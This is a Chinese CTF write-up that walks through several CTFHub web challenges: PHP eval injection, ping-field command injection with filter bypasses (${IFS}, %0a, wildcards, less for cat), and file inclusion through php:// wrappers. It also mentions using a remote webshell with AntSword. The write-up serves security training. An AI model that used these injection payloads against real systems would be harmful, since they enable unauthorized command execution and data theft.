首先了解什么是eval函数
eval函数会将 括号内的值当成php命令执行
http://challenge-9a888bfbaae5e647.sandbox.ctfhub.com:10800/?cmd=
其次是 $_REQUEST[ ] 函数
PHP 中提供了一个 $_REQUEST 全局变量,它是一个包含了 $_POST、$_GET 和 $_COOKIE 的数组,数组结构与 $_POST 和 $_GET 类似。
也就是说不管是使用 POST 还是使用 GET 方式提交的数据,都可以使用 $_REQUEST 来获取,甚至可以使用 $_REQUEST 来获取 COOKIE 的信息。
如题,我们的变量名为cmd,直接改url
http://challenge-9a888bfbaae5e647.sandbox.ctfhub.com:10800/?cmd=$
$就是我们要执行的php命令
system("ls");
system("ls -a ");
system("ls /*");
system("find / -name 'flag'");
其中 , ls /* 找到flag
然后就 cat flag即可
非常简单,直接构造payload
127.0.0.1 是为了符合前面的那个ping ,
127.0.0.1 | ls
127.0.0.1 | cat flag
思路同上,只不过把cat转换成less
空格的取代
cat file
变成:
cat、%20(space)、%09(tab)、$IFS$9、 ${IFS}、$IFS
payload如下:用分号来替代 &
127.0.0.1;ls
127.0.0.1;cat flag
正则意思是 过滤 | \ & ; 空格 / cat flag ctfhub
绕过:
& -> %0a (换行符被url编码后,就是0a,因此需要在url栏注入)
空格 -> ${IFS}
cat -> less
flag -> f*lg
payload构造
127.0.0.1%0als
127.0.0.1%0acd${IFS}fl*g_is_here
127.0.0.1%0acd${IFS}fl*g_is_here%0aless${IFS}f*ag_17291277221695.php
意思:有个参数名为file,file指向shell.txt 在shell.txt中有个参数名为ctfhub,这个就是命令执行的点
如图,找到我们要的flag即可
/sys/devices/platform/serial8250/tty/ttyS0/flags /sys/devices/platform/serial8250/tty/ttyS1/flags /sys/devices/pci0000:00/0000:00:03.0/virtio0/net/eth0/flags /sys/devices/virtual/net/dummy0/flags /sys/devices/virtual/net/lo/flags /usr/include/linux/flat.h /flag
基础:php伪协议实现命令执行_jcxj2934的博客-CSDN博客
经典的php://
先构造payload,然后直接命令执行即可
http://challenge-d754d82b1f1869d5.sandbox.ctfhub.com:10800/?file=php://input
然后抓包,进行命令执行,注意:请求方式为GET,所以不能直接在hackbar中利用post data传命令
可以看到,文件被执行了
方法1.直接用 php://input 进行命令执行
方法2. 在自己服务器上放一个 1.txt的一句话木马,然后用靶场的服务器去访问,再用蚁剑链接
参考链接:远程文件包含 - 知乎 (zhihu.com)
题目已经提示我们文件读取了,非常简单
由于被题目限制,我们只能用php://filter , 否则用file://也可以